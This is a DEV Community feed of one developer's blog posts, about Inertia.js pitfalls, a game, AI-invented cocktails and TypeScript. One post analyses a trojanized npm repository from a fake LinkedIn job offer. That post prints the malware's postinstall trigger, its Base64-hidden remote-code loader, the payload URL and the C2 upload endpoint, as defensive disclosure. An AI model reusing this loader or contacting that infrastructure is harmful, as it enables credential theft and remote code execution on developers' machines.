DEV Community: Daniel Tofan

Inertia.js Silently Breaks Your App

Daniel Tofan — Mon, 16 Feb 2026 17:12:20 +0000

TL;DR: After weeks in a production Laravel 12 + React 19 + Inertia v2 app, I repeatedly hit failure modes that were expensive to diagnose: overlapping visit cancellation, deploy-time stale chunk breakage, weak default failure UX, and framework-specific workaround code. This article is blunt, but scoped: these are observed behaviors in a real stack, backed by docs/issues where available.

Scope (What This Is, What This Isn't)

This is not a claim that Inertia fails in every project. Plenty of teams run Inertia successfully for CRUD-heavy admin apps.

This is a claim that in one real production setup with active users and frequent deploys, Inertia's router abstraction created recurring operational pain and non-obvious failure patterns.

Environment referenced throughout:

Laravel 12
React 19
Inertia.js v2
Vite code splitting
Replace-in-place style deployments in some environments

The Pitch vs. The Reality

Inertia's core pitch is strong: build SPA-like UX without maintaining a separate public API surface for routine web navigation.

The trouble started when workflows became non-trivial: multi-step actions, deployment churn, and edge-case error handling.

1. Sequential Request Pitfall: `await` Does Not Serialize Inertia Router Visits

In our app, assigning a worker required two ordered operations:

const handleAssign = async () => {
  // Step 1: Assign worker
  await router.put(`/admin/tasks/${task.id}/assign`, {
    assignee_id: Number(selectedUserId)
  })

  // Step 2: Update status
  await router.put(`/admin/tasks/${task.id}/status`, {
    status: 'In Progress'
  })

  setModalOpen(false)
}

With Promise-based clients (fetch, axios), that shape means strict sequencing.

In our case, observed outcome was:

status updated
assignment did not
first request showed cancelled in Network
no obvious app-level error surfaced by default

Why this can happen:

Inertia router methods are not Promise-returning in the way this code assumes
await therefore doesn't guarantee request completion order
overlapping visits can cancel previous visits (by design)

Community discussions: Promise support intentionally removed, years of requests for it.

A working pattern was callback chaining:

const handleAssign = () => {
  router.put(`/admin/tasks/${task.id}/assign`, {
    assignee_id: Number(selectedUserId)
  }, {
    onSuccess: () => {
      router.put(`/admin/tasks/${task.id}/status`, {
        status: 'In Progress'
      }, {
        onSuccess: () => setModalOpen(false)
      })
    }
  })
}

Or manually wrapping visits in a Promise:

await new Promise((resolve, reject) => {
  router.patch(route('profile.update'), data, {
    onSuccess: resolve,
    onError: reject,
  })
})

This is exactly where frustration spikes: code that looks like normal async/await HTTP is not normal async/await HTTP.

2. Deploy-Time Stale Chunks: Not Unique to Inertia, But Operationally Sharper with Server-Client Coupling

Any code-split SPA can suffer stale chunk issues after deploy. This is not Inertia-exclusive.

Inertia made impact broader in our setup because navigation depends on server-side component resolution plus client-side chunk import.

Representative chunk names:

assets/bookings-show-A3f8kQ2.js
assets/profile-Bp7mXn1.js
assets/schedule-Ck9pLw4.js

After deploy:

server references latest component manifest
client tab may still hold older runtime assumptions
needed chunk import fails if asset no longer available
user perceives "dead" navigation until hard reload

Nuance that matters:

Immutable artifact / skew-protected platforms reduce impact.
Replace-in-place deployments increase risk window.
Cache and rollout strategy matters as much as framework choice.

References: Inertia asset versioning / 409, 409 loop report.

Important precision:

I am not claiming every deploy kills every tab in all environments.
I am claiming this was a repeated production incident pattern in our environment.

3. Failure UX Defaults to Silence

In our app, we added explicit guardrails to make failures visible/recoverable.

// Catch navigation exceptions and force reload
router.on('exception', (event) => {
  event.preventDefault();
  window.location.href = event.detail.url || window.location.href;
});

// Proactive manifest drift check
let manifest: string | null = null;
fetch('/build/manifest.json')
  .then(res => res.text())
  .then(text => { manifest = text; })
  .catch(() => {});

document.addEventListener('visibilitychange', async () => {
  if (document.visibilityState !== 'visible' || !manifest) return;
  try {
    const res = await fetch('/build/manifest.json', { cache: 'no-store' });
    if (await res.text() !== manifest) window.location.reload();
  } catch {}
});

These mitigations worked. They are also framework-specific operational debt you must know to write.

4. Navigation Errors Vanish Without a Trace

When a JavaScript error occurs in a target page component, navigation fails silently. The previous page stays visible. No error message, no console warning, no loading indicator that stops. The user clicks a link, waits, and nothing happens.

When server errors occur, Inertia's default behavior is to render the entire error response inside a modal overlay. In development, that's the full Laravel debug page in a modal on top of your app. In production, it's a generic HTML error page — still in a modal, still bizarre UX. To fix it, you override the exception handler to return JSON, then catch it client-side with toast notifications. More workaround code.

In the codebase I work with, I found both router.reload() and window.location.href used for navigation — the latter being a sign the developers gave up on Inertia's router for certain flows. That split can be rational, but it also means engineers must learn two interaction patterns.

5. Props in HTML: Not Unique, Still a Real Discipline Requirement

This is not an Inertia-only security story. Any client-delivered data is visible client-side.

Still, with Inertia, props serialized into data-page make over-sharing easy if teams are careless.

References: props visible in page source, cached sensitive data after logout.

Defensible statement: treat every prop as public output; never include data you would not expose in client payloads.

6. "No API" Is Better Framed as a Starting Optimization, Not a Permanent Architecture

The marketing line can be useful early: fewer moving parts for web navigation.

In many real systems, teams still add explicit API endpoints for:

third-party integrations and webhooks
mobile clients
background workflows
specialized, strongly ordered interactions

Important correction for accuracy:

Inertia supports file uploads and FormData patterns.
Our team still used direct fetch() in some upload paths for local reliability/control reasons.
That is a project-level tradeoff, not proof that Inertia cannot upload files.

The Root Problem (In This Stack)

The recurring cost was semantic mismatch:

code looked like normal Promise-based HTTP flow
runtime behavior followed router-visit semantics
failure surfaced under production conditions, not in happy-path demos

That mismatch consumed debugging time and required defensive patterns beyond what most developers expect from "simple SPA routing."

The Alternative We Prefer in High-Complexity Flows

For critical ordered operations, explicit HTTP was easier to reason about:

const handleAssign = async () => {
  await fetch(`/api/tasks/${task.id}/assign`, {
    method: 'PUT',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ assignee_id: Number(selectedUserId) })
  })

  await fetch(`/api/tasks/${task.id}/status`, {
    method: 'PUT',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ status: 'In Progress' })
  })

  setModalOpen(false)
}

This is not about fewer lines. It's about predictable behavior, standard tooling expectations, and portability across backends.

The Honest Take

I am frustrated with this framework because these incidents were real and costly. The request cancellation bug consumed a full day of debugging. The deploy issue cost another afternoon. Each was solvable — but with framework-specific defensive code that shouldn't need to exist.

The defensible conclusion is not "never use Inertia." Plenty of Laravel admin panels and internal tools run it without issues.

It is: if your system has multi-step interactions, active-user deploy churn, and strict operational reliability needs, evaluate whether explicit API + standard HTTP client semantics lower your long-term risk. In our case, the answer was unambiguous.

I build MVPs at CodeCrank. If you're evaluating tech stacks for your next project, let's talk.

A LinkedIn Job Offer Tried to Install Malware on My Machine

Daniel Tofan — Mon, 26 Jan 2026 19:25:55 +0000

Here's exactly how it worked, who did it, and how to protect yourself.

On January 21, 2026, I received a LinkedIn message about a freelance opportunity. A real estate tech platform, $600,000-$800,000 budget, needed someone to evaluate their codebase. The profile looked legitimate. The company existed. The budget was attractive.

The message led to a GitLab repository containing a trojanized Node.js application - a targeted supply-chain attack designed to abuse npm's lifecycle hooks and deploy a multi-stage credential-theft and command-and-control payload.

This article is a warning. I'm sharing everything: the profile, the malicious code, the infrastructure, the red flags I missed. If even one developer avoids this scam because of this post, it's worth publishing.

The Setup

The LinkedIn message came from someone named "Rajinder Mudhar" - Branch Manager at FINE PROPERTY(UK) LTD, FCA Regulated, based in London. The profile had 500+ connections and a verified badge. One detail stood out in retrospect: "Rajinder hasn't posted yet" - 500+ connections but zero activity. That's the tell.

The pitch was standard freelance fare: evaluate our codebase, give us feedback, potential long-term engagement. They shared:

A GitLab repository with what looked like a React/Node.js real estate platform
A Notion document with project requirements
A Calendly link to schedule a call with their "Tech Manager" named Jack Murray

The repository looked legitimate. Professional folder structure. React components with Three.js 3D visualizations. Express backend with MongoDB. SendGrid email integration. Real functionality, real code.

Too real, as it turned out. The legitimate code was cover for malware hidden in plain sight.

The Warning Signs

Red Flag #1: The Silent Profile

Legitimate professionals post. They share industry news, celebrate deals, comment on market trends. A profile with 500+ connections and zero posts is a profile built for one purpose: looking credible long enough to execute scams.

Red Flag #2: The No-Show Call

I scheduled a call with Jack Murray for January 22nd at noon. He didn't show up. No email, no message, no rescheduling request.

A scheduled call that never happens - after code has been shared - is a pattern worth noting. If someone sends you a repository to evaluate and then ghosts the follow-up meeting, treat that as suspicious.

Red Flag #3: The Repository Structure

The repo was created November 11, 2025, with only 2 commits. Two commits for a supposedly production-ready application? That means the history was squashed - a technique to hide evidence of what changed over time.

Legitimate projects have messy git histories. Feature branches, bug fixes, refactoring commits. A polished app with 2 commits is suspicious.

Red Flag #4: General Reviews Don't Catch Targeted Attacks

I ran the repository through an AI reviewer - one of the latest models with strong critical thinking capabilities. The initial response? "Good looking app." A general code review - whether by AI or human - won't catch well-hidden malware designed to evade casual inspection.

Only when I explicitly requested a security-focused analysis did the picture change. The AI decoded the Base64 environment variables, identified the Function.constructor pattern, fetched the obfuscated remote payload, and deconstructed exactly what the attack was designed to do.

The lesson: general reviews aren't security audits. If you're evaluating untrusted code, you need to explicitly request threat analysis - and be specific about what to look for.

The Malware: How It Worked

The attack used three components working together.

Component 1: The Auto-Execution Hook

In package.json:

"scripts": {
  "start": "concurrently \"node server/server.js\" \"react-app-rewired start\"",
  "postinstall": "npm run start"
}

That postinstall script is the trigger. When you run npm install, npm automatically executes postinstall after installing dependencies. This runs npm run start, which starts the server - and the malware.

Most developers know to check postinstall scripts. But this one looks innocent: it just runs start. The actual malware is buried deeper.

Component 2: The Obfuscated Loader

In server/controllers/userController.js, at the very end of a 263-line file of legitimate user management code:

//Get Cookie
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
  const cookie = atob(process.env.DEV_API_KEY);
  const k = atob(process.env.DEV_SECRET_KEY);
  const v = atob(process.env.DEV_SECRET_VALUE);
  const s = (await axios.get(cookie,{headers:{[k]:v}})).data.cookie;
  const handler = new (Function.constructor)('require',s);
  handler(require);
})();

Look at that last line: })();

That's an IIFE - Immediately Invoked Function Expression. The function doesn't wait to be called. It executes the moment the file is loaded.

The code:

Decodes Base64 environment variables to get a URL
Fetches a remote payload from that URL
Uses Function.constructor to execute the payload as code

Function.constructor is the nuclear option for dynamic code execution. It creates a new function from a string and runs it. Whatever the remote server returns becomes executable code on your machine.

Component 3: The Configuration

In server/config/.config.env:

DEV_API_KEY="aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0FSTDdN"
DEV_SECRET_KEY="eC1zZWNyZXQta2V5"
DEV_SECRET_VALUE="Xw=="

Decoded:

DEV_API_KEY = https://jsonkeeper.com/b/ARL7M (the payload host)
DEV_SECRET_KEY = x-secret-key (header name)
DEV_SECRET_VALUE = _ (header value)

The attacker used jsonkeeper.com - a legitimate JSON hosting service - to host the malicious payload. This makes the traffic look normal and bypasses basic URL filtering.

What the Payload Was Designed To Do

The remote payload contained three modules:

Module A: Command & Control Backdoor

Designed to establish a socket.io connection to 144.172.108.57:4891
Capable of sending system information (OS, hostname, username)
Capable of receiving and executing arbitrary commands via child_process
Configured to create a PID file in .npm folder for persistence

Module B: File Exfiltration

Designed to scan all drives on the system
Configured to search for sensitive files: .env, .secret, .pem, .json, .docx, .xlsx, .pdf
Capable of uploading matches to http://144.172.108.57:4896/upload

Module C: Clipboard Stealer

Designed to monitor clipboard using PowerShell (Get-Clipboard)
Capable of sending clipboard contents to attacker's logging endpoint
Configured to run continuously to capture anything copied

The Evidence

I'm publishing everything so others can identify and report this infrastructure.

Note: There is no evidence that FINE PROPERTY (UK) LTD was involved in this attack; their company name appears to have been used without authorization.

Attacker Contacts

Field	Value
LinkedIn Profile	Rajinder Mudhar (likely fake identity)
Claimed Company	FINE PROPERTY(UK) LTD
Secondary Company	METATHEORY (crypto angle - "Tokenization" in skills)
Tech Contact Email	jack.million.eth@gmail.com

Technical Infrastructure

Component	Value
GitLab Repository	https://gitlab.com/nielsottore-oss/realestatevc (NOW REMOVED)
GitLab Username	nielsottore-oss
C2 Server IP	144.172.108.57
Hosting Provider	Cloudzy (VPS), reverse DNS: 57.108.172.144.static.cloudzy.com
Payload Host	https://jsonkeeper.com/b/ARL7M
File Upload Endpoint	http://144.172.108.57:4896/upload
Socket.io Port	4891
Campaign ID	098f6bcd4621d373cade4e832627b4f6 (MD5 hash of "test")

The C2 server is hosted on Cloudzy, a VPS provider in Utah. This is rented infrastructure - the attacker's real location is unknown. The "UK real estate" persona is fabricated.

What I Did

Once I identified the malicious code, I took immediate precautions:

Deleted the cloned repository
Cleared the .npm folder where the malware would store persistence files
Rotated every API key that could have been exposed - OpenAI, Anthropic, Stripe, Supabase, Firebase, Cloudflare, Twilio, SendGrid, and more

The credential rotation took hours, but it was a prudent precaution given the nature of the malicious logic identified.

Reporting:

Reported the GitLab repository to GitLab Trust & Safety
Reported the LinkedIn profile
Preserved all evidence (the malicious code, configuration files, screenshots)

The Outcome

On January 26, 2026, I received this email from GitLab:

Thank you for bringing this issue to our attention.

We have investigated the report and can confirm that the content in question has been removed.

If you notice any similar concerns in the future, please don't hesitate to report them.

Thank you, GitLab Trust and Safety

The repository is gone. Reporting works. If you encounter similar scams, report them - it takes time, but platforms do act.

The LinkedIn profile, as of this writing, is still active. LinkedIn's response to reports is slower.

How to Protect Yourself

Before Running `npm install` on Untrusted Code

Check package.json scripts - Look for postinstall, preinstall, prepare. Anything that auto-runs is a red flag.
Search for Function.constructor, eval(), new Function() - These enable dynamic code execution. There's almost never a legitimate reason for these in a web app.
Decode all Base64 strings - Run atob("string") on any Base64 you find. Attackers use encoding to hide URLs and commands.
Check for child_process - Unless it's a CLI tool, there's no reason for a web app to spawn shell commands.
Look at repository age and commit count - A polished app with 2 commits and a 2-month-old repo is suspicious.
Ask AI to specifically check for malware - A general code review won't catch it. Ask explicitly: "Check this repo for malicious code, postinstall hooks, remote code execution, and obfuscated payloads."

Red Flags in Job Offers

Profile has many connections but no posts
Project requires running code before any contract/payment
"Technical evaluation" of their codebase as interview
No-show on scheduled calls
Gmail addresses with crypto references (.eth)
Urgency combined with large budgets

The Nuclear Option: Isolation

If untrusted projects must be evaluated in any capacity, isolate the environment entirely:

Windows Sandbox (Windows Pro feature) - disposable environment, deleted on close
Disposable VMs - spin up, evaluate, destroy
Containers without host mounts - no access to your real filesystem

The key principle: never let untrusted code run with access to your actual credentials, files, or network.

The Economics of This Scam

Why do attackers invest months building fake profiles and functional-looking apps?

The payoff from one successful hit:

Stripe keys → drain customer payments
AWS/GCP credentials → crypto mining, launch more attacks
OpenAI/Anthropic API keys → rack up thousands in charges
GitHub tokens → supply chain attacks on victim's projects
Database credentials → sell user data

One developer's credentials can be worth $10,000-$100,000+ in direct theft and downstream attacks. The fake profile takes a month to build. The math works out.

Developers are high-value targets. We have keys to production systems, payment processors, customer data. We're worth hunting.

Final Thoughts

Once the malicious behavior was identified, appropriate precautions were taken and the infrastructure was reported. The repository is now gone. That's the due diligence part of the job.

This write-up focuses on detection, analysis, and responsible disclosure—not on claims of compromise or impact.

The job market is brutal right now. Developers are desperate for opportunities. Scammers know this and exploit it.

If someone asks you to run their code as part of an interview or evaluation, be paranoid. Check the scripts. Decode the strings. Search for Function.constructor. Ask your AI assistant to specifically look for malware - and ask explicitly, because a general review won't catch well-hidden payloads.

The takeaway: Large connection counts, verified badges, and real company names are credibility signals that can be manufactured cheaply and quickly. Modern scams don't require brilliance—only volume, patience, and targets willing to confuse surface legitimacy with trust.

Any request to run code before trust, contract, or isolation is established is a hard no—without explanation or apology.

And if you find something malicious, report it. GitLab removed this repo because I reported it. The next developer who gets that LinkedIn message will find a dead link instead of malware.

That's a win.

I build MVPs at CodeCrank. I'm sharing this because the alternative - staying quiet - helps the scammers. Report malicious repositories. Report fake profiles. Make it expensive to be a criminal.

Can You Beat AI at This Simple Game?

Daniel Tofan — Mon, 12 Jan 2026 16:31:57 +0000

I built a classic puzzle game with an AI opponent. The rules take 30 seconds to learn. Most people can't beat it on their first try.

Try it yourself: collapsibles.web.app

The Rules

Click groups of 2+ matching adjacent pieces to remove them. Pieces fall down to fill gaps. Score points based on cluster size.

That's it. No power-ups, no time limits, no lives.

The scoring formula: n × (n-1) where n = cluster size.

Cluster Size	Points
2 pieces	2
3 pieces	6
5 pieces	20
10 pieces	90
15 pieces	210

A 10-piece cluster is worth 45x a 2-piece cluster. That's the whole game - do you grab small clusters now, or wait for gravity to create bigger ones?

The Features

30 themes. All emoji-based: fruits, animals, fantasy creatures (wizards, unicorns, dragons), sea creatures, space, vehicles, sports, food, drinks, flowers, weather, zodiac signs, geometric shapes, and more. Pick whatever you like looking at - they're all mechanically identical.

Watch the AI play (22 sec video)

Multiple board sizes. Squares (10×10, 12×12, 14×14), tall boards (8×14, 10×16, 12×18), and wide boards (14×8, 16×10, 18×12). Larger boards mean longer games with more strategic depth.

Note: On phones, the wider boards (14+ columns) aren't available - they'd be too cramped to play comfortably. The game filters options based on your screen size.

AI opponent. Watch mode lets the AI play while you observe. Useful for learning, or just satisfying to watch.

Hint system. Turn on hints and the game highlights the cluster the AI thinks you should play next. It's a preview of what the AI would do in your position.

High scores. Here's the catch - if you use hints, you can't set a high score. Each board size tracks scores separately, and the leaderboard only counts games where you played without help. So you can use hints to learn, or you can compete for high scores. Not both.

9-step tutorial. First time playing, you'll get an interactive tutorial that walks through the mechanics. You can skip it or restart it anytime from the help button.

PWA. Install it on your phone or desktop with a proper app icon. Works offline. No app store needed - just click "Add to Home Screen" in your browser.

The Challenge

Beat the AI. Any board size.

High scores are tracked separately for you and the AI on every board configuration. Pick your favorite size, play a few rounds (starting positions are random), and see if you can outscore the machine.

The AI is hard to beat, but not impossible.

Play now

The Tech

Built with Vue 3 and Quasar. Sounds use Web Audio API - no audio files to download. High scores save to localStorage. The whole thing runs client-side with no backend.

It's a PWA, so you can install it on your phone and play offline.

105+ Playwright tests ensure the responsive design actually works across screen sizes. I built this partly as a testing ground for animation patterns we use in client projects.

What Would Make This Better?

This started as a side project, but if there's interest, I'd build more.

Some ideas I've considered:

Difficulty levels for the AI
Daily challenges (same starting board for everyone)
Undo button (limited uses)
Multiplayer mode
Achievement system

What would you actually use? What's missing?

Drop a comment - I read them all.

Built by DCTSoft. Play the game: collapsibles.web.app

Originally published at codecrank.ai/blog

I Asked AI to Invent 54 Cocktails

Daniel Tofan — Mon, 29 Dec 2025 16:30:02 +0000

Some recipes only a chemist could love. Others you might actually try.

It's New Year's Eve week, and you're probably thinking about cocktails. So am I.

But instead of browsing Pinterest for the same mojito variations, I ran an experiment: What happens when you ask AI to invent cocktails that have never existed? Not just generate pretty pictures - actually create new recipes, name them, describe the flavor profiles, and visualize what they'd look like.

As a chemist by training, I was especially curious what AI would do with "Molecular Mixology" - the category involving spherification, nitrogen foams, and techniques that require actual lab equipment. Would it understand the science? Would the recipes make sense?

Spoiler: It understood the theory beautifully. The execution instructions got... creative.

Here are 54 AI-invented cocktails across 6 categories. Some are genuinely brilliant. Some are recipes only a chemist could love. All of them look stunning.

The Six Categories

I organized the experiment into six visual themes, each with 9 drinks. The AI had to invent recipes, flavor profiles, garnishes, and glassware recommendations for each.

🌴 Tropical Exotics

Carved coconut shells, pineapple vessels, and colors that scream "I'm on vacation." The AI nailed this category - every recipe is plausible, and several are genuinely inventive. The Mango Lassi Margarita combines Indian yogurt drinks with Mexican tequila, and it actually makes sense.

Browse all 9 Tropical drinks →

🔥 Smoke & Fire

Flames, dry ice fog, burning sage garnishes. This is where the AI got theatrical. The Alchemist's Elixir uses butterfly pea flower to create a color-changing cocktail - purple to pink as you add citrus. That's real chemistry happening in your glass.

Browse all 9 Smoke & Fire drinks →

🌈 Vibrant Colors

Instagram-worthy, electric colors from natural ingredients. The Butterfly Pea Gin Fizz and Matcha Green Tea Cocktail prove that you don't need artificial dyes to make drinks pop. Beetroot, turmeric, dragon fruit - the AI found every naturally colorful ingredient.

Browse all 9 Vibrant drinks →

💎 Crystal & Ice

Hand-carved ice sculptures, crystal-clear spheres, elegant minimalism. The Diamond Ice Sphere Martini and Mountain Peak Manhattan showcase drinks where the ice is the star. If you've ever wanted to learn ice carving, this category will inspire you.

Browse all 9 Crystal & Ice drinks →

🌿 Garden Fresh

Herbs, edible flowers, farm-to-glass aesthetics. The Rosemary Grapefruit Fizz calls for a "12-inch rosemary sprig for dramatic effect." The AI understood that sometimes the garnish IS the drink.

Browse all 9 Garden Fresh drinks →

⚗️ Molecular Mixology

And here's where my chemistry background got excited... and then amused.

Browse all 9 Molecular drinks →

The Hits - Actually Try These

Not every AI-generated recipe is weird. Some are genuinely brilliant. Here are three I'd actually make:

Mango Lassi Margarita

The fusion: Indian mango lassi meets Mexican margarita. Yogurt, cardamom, tequila, Tajín rim.

Why it works: The creamy yogurt tempers the tequila bite. Cardamom adds unexpected warmth. It's the kind of combination a human bartender might never try, but AI just went for it.

Ingredients:

2 oz tequila blanco
1 cup fresh mango chunks
¼ cup plain Greek yogurt
1 oz fresh lime juice
½ oz agave nectar
¼ tsp ground cardamom
Tajín rim

Full recipe →

The Alchemist's Elixir

The chemistry: Butterfly pea flower creates a deep purple base. Add citrus (lemon juice), and the pH change turns it pink. You watch the transformation happen.

Why it works: This is actual chemistry you can drink. The color change is dramatic, the elderflower adds sophistication, and you look like a wizard making it. (The geode vessel in the image is optional - no geology day trips required.)

Full recipe →

Cilantro Jalapeño Margarita

The reality check: This is already on menus at high-end bars. The AI didn't invent something crazy here - it recognized a winning combination that exists in the real world.

Why it works: Bright green color, fresh herb flavor, jalapeño heat that builds. It's a legitimate cocktail that happens to photograph beautifully.

Full recipe →

The Misses - Recipes Only a Chemist Could Love

Now for the molecular mixology category. As a chemist, I appreciated the ambition. As someone who owns a normal kitchen, I had questions.

"Use edible bubble solution kit"

The Champagne Bubble Sphere recipe instructs you to:

"Use edible bubble solution kit to create 3-4 bubbles (flavored with champagne)"

Where exactly do you purchase this kit? How do you "flavor" a bubble? The AI knows these things exist but treats them like common household items.

"Slowly pour liquid nitrogen"

The Liquid Nitrogen Mudslide casually mentions:

"SLOWLY pour liquid nitrogen into bowl while stirring constantly"

Ah yes, let me grab the liquid nitrogen from next to the milk in my fridge. The recipe does include safety warnings about "insulated gloves and goggles," which I appreciate. But the assumption that home bartenders have access to cryogenic fluids is... optimistic.

On the bright side, publishing this on Monday gives you two full days to contact your local liquid nitrogen dealer before New Year's Eve. You're welcome.

Finally, measurements I understand

The Gin & Tonic Caviar Spheres recipe includes:

"For spheres: 250mL gin, 2g sodium alginate, 5g calcium chloride in 500mL water"

As a chemist, this is the first recipe that actually makes sense to me. Specific gram measurements! Proper ratios! This would work. You'd just need to order sodium alginate and calcium chloride online first. And own a kitchen scale that measures in grams. And have 2 hours for the spherification process.

The Honest Take

AI understands cocktail theory beautifully - flavor profiles, ingredient pairings, presentation concepts, even the chemistry behind molecular techniques.

But molecular mixology requires equipment most people don't have next to the blender. The AI treats "spherification kit" and "nitrogen charger" like they're as common as a cocktail shaker.

As a chemist, I appreciated the accuracy. As a home bartender, I'll stick to the Mango Lassi Margarita.

The Images - The Unexpected Win

Here's what surprised me most: the images are genuinely beautiful.

Every one of these 54 cocktails has an AI-generated image that looks like professional food photography. The lighting, the condensation on the glasses, the garnish placement - it's all there.

Finding the right prompts and the right model took experimentation. I'm keeping the specific model mysterious for now, but the results speak for themselves. The images sell the drinks even when the recipes get weird.

If you're working on a project that needs AI-generated food or beverage imagery, feel free to reach out. Happy to share what I learned.

Try Them - And Tell Me What's Next

All 54 cocktails are live at mixology.codecrank.ai. Browse by category, read the full recipes, and decide which ones you'd actually attempt.

But here's what I really want to know: What would make this more useful?

This started as a creative experiment. If there's genuine interest, I'd love to hear what would turn it into something you'd actually use for your New Year's Eve party or home bar:

Real ingredient substitutions for hard-to-find items?
Difficulty ratings (easy / intermediate / "you need lab equipment")?
Actual molecular techniques explained step-by-step?
Shopping lists that link to where to buy ingredients?
A "make me a drink" quiz based on your mood?
Something I haven't thought of?

Drop a comment with your ideas. The best suggestions might actually get built.

Happy New Year

Whether you attempt the Mango Lassi Margarita or just enjoy scrolling through 54 beautiful AI-generated drinks, I hope this adds some fun to your holiday.

AI makes a great creative collaborator. It'll invent combinations humans might never try. It'll visualize drinks that don't exist. It'll even write accurate spherification instructions.

Just don't expect it to tell you where to buy liquid nitrogen.

Cheers to 2026.

Daniel Tofan is a software engineer and former chemist who builds AI-powered web applications at CodeCrank. The Mixology demo was built to explore AI's creative potential - and to see if AI understands chemistry as well as it claims.

JavaScript vs TypeScript for MVPs: Why We Ship Without Types (And What We Use Instead)

Daniel Tofan — Mon, 22 Dec 2025 16:46:11 +0000

We've shipped 10+ MVPs in JavaScript, not TypeScript. Before you close this tab in disgust, hear me out - this isn't about laziness or ignorance. We cut our teeth on Java 1.4 and strongly typed languages. We understand type safety. We've made an informed choice to skip it for MVPs, and we have the data to back it up.

Why This Debate Matters for MVPs

The TypeScript vs JavaScript debate usually devolves into ideology. TypeScript advocates point to compile-time safety. JavaScript defenders cite development speed. Both sides talk past each other because they're optimizing for different outcomes.

For MVPs specifically, the calculus is different. You're not building software that needs to last 10 years with 50 engineers maintaining it. You're validating whether anyone wants what you're building. Speed to market matters more than long-term maintainability - because 90% of MVPs won't have a long term.

According to CB Insights, 42% of startups fail because there's no market need. Spending an extra week on type safety while your competitor captures the market is optimizing the wrong thing.

Our Safety Net: 90%+ Test Coverage

Here's the thing - we don't skip TypeScript and cross our fingers. We skip TypeScript because we have something better for catching bugs in MVPs: comprehensive test coverage.

Real numbers from our published projects:

New education platform: 2,000+ E2E tests covering every user interaction
Internal tools: 90-99% coverage as a standard
Across all demos: Thousands of assertions that run before every deploy

This isn't optional. Test coverage is a release gate. No green tests, no deploy. We've been doing this long enough that it's not a philosophy anymore - it's just how we work.

What does 90%+ coverage actually feel like? Last week we renamed 10 Vue components across a codebase. In a project without tests, that's a terrifying refactor - you're never quite sure what you broke. With 135 tests passing, we shipped with confidence. The tests told us exactly what worked and what didn't.

We also use TDD for complex logic. Recently, writing tests first revealed a routing bug that would have been a nightmare to debug in production. The test failed before we even ran the app. That's the kind of safety net that lets us move fast without breaking things.

What Tests Catch That Types Don't

TypeScript catches a specific class of errors: variable type mismatches, wrong argument types, undefined is not a function. These are real bugs, and catching them at compile time is genuinely useful.

But here's what TypeScript doesn't catch:

Wrong business logic - Your tax calculation is incorrect, but the types are perfect
Edge cases - What happens when the array is empty? When the user submits twice?
Integration bugs - The API returns a different shape than you expected
Race conditions - Two async operations complete in the wrong order
User flow errors - The form submits but the data doesn't save

Tests catch all of the above. They also catch type errors - if you pass a string where a number is expected, your test fails when the function produces garbage output.

Think about it this way:

TypeScript says: "this variable is a string"
Tests say: "this function returns the correct business result for these 15 edge cases"

One is a subset of the other. If you have strong tests, types become redundant for the errors that matter most in an MVP.

The real trap is TypeScript with weak tests. You get compile-time confidence that your types are correct, but runtime surprises when your business logic is wrong. JavaScript with strong tests gives you confidence where it counts - in actual behavior.

The Speed Tax of TypeScript

For a 2-4 week MVP, TypeScript adds roughly 15-20% overhead. That's not a made-up number - it's what we've observed across projects where we've used both approaches.

Where does the time go?

Type definitions for everything. Every function, every object, every prop. For code that might get thrown away next month if the MVP doesn't validate, this is speculative investment.

Fighting @types/* packages. Third-party type definitions are often outdated, incomplete, or just wrong. You'll spend an hour debugging why the types don't match the actual library behavior, only to discover the type definitions haven't been updated in 18 months.

tsconfig.json complexity. Strict mode? Module resolution? Path aliases? These decisions take time, and the "wrong" choice creates friction throughout the project.

The any escape hatch. When types get complex, developers reach for any. Every any in your codebase defeats the purpose of TypeScript. If you're using any to get around type complexity, you've paid the TypeScript tax without getting the benefits.

Build step debugging. Source maps, compilation errors that don't match runtime behavior, slower feedback loops. These add friction to the rapid iteration that MVPs require.

The math is simple. A 4-week MVP becomes a 5-week MVP with TypeScript overhead. If 90% of MVPs die before needing that type safety, you've spent an extra week on something that provided no value.

Modern JavaScript Is Better Than You Remember

JavaScript in 2025 is not the JavaScript of 2015. The gap between typed and untyped JavaScript has narrowed significantly.

What we have now:

Optional chaining (?.) - No more obj && obj.prop && obj.prop.value
Nullish coalescing (??) - Sane defaults without falsy gotchas
Destructuring - Clean extraction of values from objects and arrays
Async/await - Readable asynchronous code without callback hell
Classes and modules - Proper encapsulation and organization
JSDoc comments - Full IntelliSense in VSCode without compilation

That last one is underrated. You can write JSDoc type annotations that give you autocomplete, parameter hints, and type checking in your editor - without a build step. It's not as powerful as TypeScript's type system, but it covers 80% of the value for 20% of the complexity.

A disciplined JavaScript engineer with comprehensive tests, JSDoc for public APIs, ESLint, Prettier, and consistent patterns can deliver maintainable code. We've done it across 10+ MVPs.

When TypeScript Is the Right Choice

We're not TypeScript haters. There are clear situations where TypeScript is the right choice:

Large teams (10+ engineers). When you can't fit everyone in a room, types become documentation. They communicate intent across team boundaries without requiring verbal coordination.

Long-lived codebases (5+ years). When many maintainers will touch the code over time, types help new developers understand existing code. The investment pays off over years.

Critical systems. Payments, healthcare, anything with legal liability. The extra safety is worth the extra time when bugs have severe consequences.

Complex data transformations. When you're reshaping data across many files, the compiler catches refactoring errors that tests might miss.

Junior-heavy teams. Types guide correct usage and catch mistakes before code review. They're training wheels that prevent common errors.

For MVPs built by small teams of experienced engineers who write comprehensive tests? TypeScript is overhead without proportional value.

The Honest Take

This isn't about being lazy or cutting corners. We have thousands of tests across our projects. We enforce 90%+ coverage as a release gate. We've shipped prototypes to real users who depend on them working correctly.

TypeScript is a great tool for the right context. For MVPs where speed matters and test coverage is high, it's overhead we choose not to pay.

The real question isn't "TypeScript or JavaScript?" It's "What's the fastest path to validating this product with acceptable quality?" For us, that's JavaScript with strong tests. Your answer might be different depending on your team, your timeline, and your risk tolerance.

If your MVP survives - if you find product-market fit and need to scale to 10 engineers and 100K users - add TypeScript then. You'll be rewriting half the code anyway as you learn what your product actually needs to be.

But don't optimize for scale you might never reach. Ship fast, validate demand, and invest in long-term maintainability only after you've proven the product deserves to exist.

Originally published at codecrank.ai/blog

Our Battle-Tested MVP Stack: What We Use and Why

Daniel Tofan — Mon, 15 Dec 2025 17:30:43 +0000

